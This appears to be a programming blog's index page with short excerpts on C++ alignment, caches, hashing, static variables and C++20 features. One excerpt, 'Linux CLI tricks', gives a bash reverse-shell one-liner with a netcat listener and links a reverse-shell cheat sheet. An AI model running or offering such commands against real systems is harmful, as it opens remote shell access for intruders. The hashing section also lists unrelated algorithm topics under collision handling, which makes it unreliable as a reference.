C++ memory alignment

#include <fmt/core.h>

int main() {

    struct S {
        uint8_t : 8;
        uint32_t x;
    } __attribute__((packed));

    fmt::print("alignof {} sizeof {}\n", alignof(S::x), sizeof(S::x));
    fmt::print("alignof {} sizeof {}\n", alignof(S), sizeof(S));
}

https://godbolt.org/z/oPK4s15xv

Returns:

alignof 1 sizeof 4
alignof 1 sizeof 5

Caches

Small amounts of unusually fast memory (Data D$, Instruction I$, Translation Lookaside Buffer TLB), cache misses, speculatively prefetch, does it fit in cache (small is fast), no time/space tradeoff at hardware level, locality counts (stay in the cache), predictability helps. A modern multi-core machine will have a multi-level cache hierarchy, where the faster and smaller caches belong to individual processors. When one processor modifies a value in its cache, other processors cannot use the old value any more. [Read More]

Complexity

Complicated versus complex

Complexity projects Game of Life Social distancing Crowd simulation Building evacuation SIR (epidemiology) A complex system has __A__daptation and learning __C__onnectedness __I__nterdependence __D__iversity Wolfram behaviours Stables Periodic Chaotic Complex (high info content) Misc Exploration versus exploitation Highest peak On a dancing landscape you can never stop exploring Black swan Emergence Complexity is an emergent property Stasis encourages exploration and vice versa Slime mold breaking symmetry Bottom-up and top-down emergence Power law distribution Long tail Weekly emerging, strongly emerging (never figure out) Preferential attachment model Agent-based models Fires in crowded buildings Epidemics Netlogo Good science and agent based models must simplify (abstract) Feedback and externality Feedback is affecting the same action. [Read More]

Virtual insanity...

Uses of the "virtual" keyword in C++

Virtual functions are used to achieve runtime polymorphism – https://www.educba.com/virtual-keyword-in-c-plus-plus/ Uses of the virtual keyword See https://en.cppreference.com/w/cpp/keyword/virtual Related keywords: override, final virtual function specifier The virtual specifier specifies that a non-static member function is virtual and supports dynamic dispatch. It may only appear in the decl-specifier-seq of the initial declaration of a non-static member function (i.e., when it is declared in the class definition). Virtual functions are member functions whose behavior can be overridden in derived classes. [Read More]

Hashing

Hash tables

A hash table (hash map) is a data structure that implements an associative array abstract data type, a structure that can map keys to values. A hash table uses a hash function to compute an index into an array of buckets or slots, from which the desired value can be found.

Hashing derives a fixed size result from an input. See Hash table.

Properties of a hashing algorithm

  • Stable: the same input generates the same output every time
  • Uniform: the hash values should be uniformly distributed through the available space
  • Efficient: the cost of generating a hash must be balanced with application need
  • Secure: the cost of finding data that produces a given hash is prohibitive

String hashing

  • Sum ASCII values – not uniform, not secure
  • Fold bytes of every four characters into an integer – not secure
  • CRC32 – not secure
  • MD5 – not efficient, not secure
  • SHA2 – stable, uniform, not efficient, secure

Handling collisions

  • Chaining
  • Open addressing
  • Load/fill factor – the ratio of filled hash table array slots
  • DFS/BFS – depth-first search versus breadth-first
  • Brute force
  • Greedy algo – stall at local maxima
  • Dynamic programming
  • Longest common subsequence
  • Simulated annealing
  • Random solutions
  • Polynomial
  • PTAS – approximation scheme
  • More Hash Function Tests
  • Linear probing
  • Robinhood hashing
  • Cuckoo hashing
  • Preimage (attack)
  • URL shortener

static

Dependencies on static variables in different translation units are, in general, a code smell and should be a reason for refactoring. – http://www.modernescpp.com/index.php/c-20-static-initialization-order-fiasco const and static variables don’t have external linkage; non-const global variables have external linkage by default; const global variables have internal linkage by default Variables with static storage duration are zero initialised. According to the standard: “All objects which do not have dynamic storage duration, do not have thread storage duration, and are not local have static storage duration”. [Read More]

Favourite C++ features

And wish list

C++17 Boost filesystem execution policy: parallel algorithm support for range-based for loops - potential for easily parallelsing existing code structured bindings clamp std::optional [[maybe_unused]] C++20 Concepts Concepts are a revolutionary approach for writing templates! They allow you to put constraints on template parameters that improve the readability of code, speed up compilation time, and give better error messages. C++20 gives us language support (new keywords - requires, concept) and a set of predefined concepts from the Standard Library. [Read More]

Linux CLI tricks

Send a string to an IP/port telnet 127.0.0.1 80 (echo hello; sleep 1) | telnet 127.0.0.1 80 echo hello > /dev/tcp/127.0.0.1/80 echo hello | nc localhost 80 Reverse shell # server nc -knvlp 3389 # client bash -i >& /dev/tcp/server_ip/3389 0>&1 See also https://tldp.org/LDP/abs/html/x17974.html https://highon.coffee/blog/reverse-shell-cheat-sheet/ https://catonmat.net/bash-one-liners-explained-part-three http://docs.eggplantsoftware.com/epp/9.0.0/ePP/advovercoming_tcpip_connection_li.htm Target everything but one file git add !(unit.md) Print a random line from a file sed "$(( $RANDOM % $(cat readme.txt | wc -l) ))q;d" readme. [Read More]

C++ recipes

Operating over a whole container using ranges (C++20) #include <vector>#include <algorithm>#include <random>#include <iostream> int main() { const auto printy = [](const auto &vec){ for (size_t i = 0; const auto&v : vec) std::cout << v << (++i == vec.size() ? "\n" : " "); }; std::vector<int> v(4); printy(v); std::ranges::fill(v, -1); printy(v); std::ranges::generate(v, std::rand); printy(v); } Generates: 0 0 0 0 -1 -1 -1 -1 1804289383 846930886 1681692777 1714636915 https://godbolt.org/z/31196Kz5z Zip two containers #include <iostream>#include <vector>#include <algorithm>#include <ranges> int main() { const std::vector<int> a{1, 2, 3}; const std::vector<int> b{4, 5, 6}; std::vector<std::pair<int, int>> zipped; zipped. [Read More]